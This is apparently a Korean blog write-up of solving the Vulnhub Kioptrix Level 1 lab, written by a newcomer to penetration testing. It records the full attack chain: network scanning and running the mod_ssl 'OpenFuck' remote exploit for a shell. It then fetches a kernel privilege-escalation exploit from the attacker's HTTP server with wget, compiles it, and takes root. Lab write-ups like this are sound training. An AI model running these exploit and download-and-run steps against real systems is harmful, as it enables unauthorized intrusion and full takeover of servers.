[Solved in under 7 hours 30 minutes]
'25.08.01 부로 GOTROOT 라는 Offensive 회사에 입사하기로 하였다!
리얼월드는 해본적없는 나한테 대표님께서 이런 것이 있으니 도움이 될거라고 말씀 주셔서 해보기로 했다!
가보자

가상머신을 가동시키면 뭐라뭐라 나오는데
요약하면 root로 접속해라!
인지해두고 진짜 가보자

netdiscover
가상머신의 IP를 확인을 했다.

nmap -sV 192.168.145.130
확인한 IP를 가지고 nmap을 이용해 어떤 포트가 사용중인지 확인 했고
80, 443 : mod_ssl
111 : rpcbind
139 : SMB
이거 세개가 눈에 거슬렸다.
여기서는 mod_ssl의 1-Day 취약점을 가지고 Write-up을 작성했다.
(SMB 하다가 실패함 ㅠ / 나중에 다시 도전해볼 생각)

별 특이한 점은 안보이는 Test Page이다.
넘기자

searchsploit apache 1.3.20
nmap으로 확인 했을때 버전정보까지 알아냈기 때문에 바로 CVE에 등록된 1-Day 취약점을 이용하기로 했다. <- 여기까지 오는데도 1시간은 족히걸림 ㅋㅋ
이 가상머신은 apache 1.3.20 + mod_ssl 2.8.4 로 이용하고 있기 때문에 네모박스친 저 녀석을 사용해 보기로 했다.
여기서 꿀팁..! 누구나 다 알고 있을지도?
오른쪽 상단에 PATH를 보면 php/remote/~, unix/remote/~ etc.. 파일의 경로를 알 수 있는데 그 경로를 보면 어떤 공격인지 나와있다.
즉 하나하나 검색해보지도 않고 바로 알 수 있다..!
여하튼 바로 가져와보자

searchsploit -m 47080.c
저기 Path를 보면 뒤애 파일명이 나오는데 그게 CVE에 등록된 번호이다. 그걸 DB에서 PoC를 가져오고

vi 47080.c
해당 파일을 열어보니 "Requirements : libssl-dev" 가 필요하고
c언어로 된 파일이다 보니 실행파일로 사용하려면 컴파일을 해야한다.
근데 그 방법도 자세하게 알려준다.
아주 착하다..!

apt-get install libssl-dev
일단 libssl-dev 를 다운받아주고

gcc -o OpenFuck 47080.c -lcrypto
컴파일을 해줬더니 뭔가 에러 비슷하게 나왔는데 문제 생겼나 찾아보니 옛날에 사용하던 것들이라 발생했는데 무시해도 상관없다.
아마?

./OpenFuck
컴파일 된 파일을 실행시켜주면 또 착하게 "Usage: ~" 사용법도 알려준다.
target은 해당 1-Day를 이용해 공격할려는 웹서버 버전을 헥사값을 넣어주는데 밑으로 내리면

아까전에 봤던 apache 1.3.20 버전이 보인다
0x6a, 0x6b 이렇게 두개가 보인다
바로 넣어보자

./OpenFuck 0x6a 192.168.145.130 -c 50
0x6a를 넣었을때 뒤에 50을 다른 숫자라 바꿔주도 안되길래 다른 하나인 0x6b를 삽입하였더니

./OpenFuck 0x6b 192.168.145.130 -c 50
접속이 잘 되었고 바로 whoami를 입력하니 apache로 쉘에 접속한 것이다.
일단 큰 부분은 해결했고 이제 권한상승을 노려 root로 접근해야한다.
여기서도 어떻게 해야할지 잘 몰라서 한참을 헤매다 아..! 이것도 그냥 1-Day를 이용하면 되는구나 띵했다.
가장 먼저 해야 할 부분은 리눅스 커널 정보 즉 취약한 버전을 이용하기 위해서 커널 버전이 필요했다.
바로 가자

uname -a
커널정보를 알고싶을때 uname을 사용하면 바로 알 수 있다. 해당 redhat의 버전정보도 알고싶으면 /etc/redhat-realese 를 보면된다.
커널정보를 알았으니 linux 2.4.7을 가지고 이제 찾아봐야한다.

searchsploit linux 2.4.7 | grep "local"
local에서 사용하는 취약점은 대부분 권한상승 취약점이니 이거를 가지고 해보려고 봤다.
근데 놀랍게도 나와있는거 많이 해봤는데 다 안되는거임 ?
CVE-2003-0127
결국 직접 들어가서 찾고 시도하고 2시간정도 맨땅에 헤딩하다가 되는 녀석을 발견했다.

python3 -m http.server 8000
CVE-2003-0127의 EDB-ID가 3번인것을 확인하고 바로 가져왔다.
이후 가져온 3.c 파일과 같은 디렉토리에서 http 서버를 열어줬고 이거를 타켓서버에서 다운받을거다.
어떻게?

wget http://192.168.145.129:8000/3.c
해당 가상머신은 인터넷이 연결 돼 있지 않아 내부망끼리 파일을 옮겨야 한다.
칼리의 다른 터미널에서 웹을 올리면 wget으로 바로 다운받을수 있다.
다운 받은 파일을 바로 gcc로 컴파일 해주고

./root
실행시켜주면 로딩창 비슷하게 아무것도 안뜰건데 그게 된 상태다..! 이것도 이전에 프로젝트에서 BoF를 이용해서 RCE를 봤었기 때문에 금방 알아차렸다 ㅋㅎㅋ
저기서 whoami 명령어를 입력해주면 root로 권한상승 된것을 확인이 가능하고 passwd를 통해 비밀번호를 바꿔주고

이후 가상머신으로 돌아와 root / pw 를 입력하니 접속이 잘 되었다..
살면서 처음 접해본 리얼월드 모의해킹이다보니 시간이 정말 오래 걸린것 같다.
어떻게 접근해야하고 어떻게 풀어야하는지 하나도 모르는 상태에서 그냥 여러가지 찾다가 운이 좋게 풀었던 것 같다.
아마 내가 풀었던 방식과 다르게 111번 포트를 이용한 rpcbind 취약점이나 139번 포트를 이용한 SMB 취약점도 존재하지 않을까? 라는 생각이 든다.
사실 nmap 처음 돌렸을때 바로 SMB취약점을 노리고 했는데 잘 안돼서 포기했다 ㅜㅠ
그래도 풀었으니 기분은 좋다만 시간이 날 때 다른 방법으로도 한번 도전해 보려고 한다. 이거는 나 문제 풀어주세요~ 형식으로 만들어졌기 때문에 답이 있다만 리얼월드는 생판 아무것도 모르는 상태에서 해야하니 걱정이 가~득하다..
맨땅에 헤딩이 내 주특기이니 그냥 해보자..!
Vulnhub Kioptrix Level 1 Write-up
이상 보고 끝!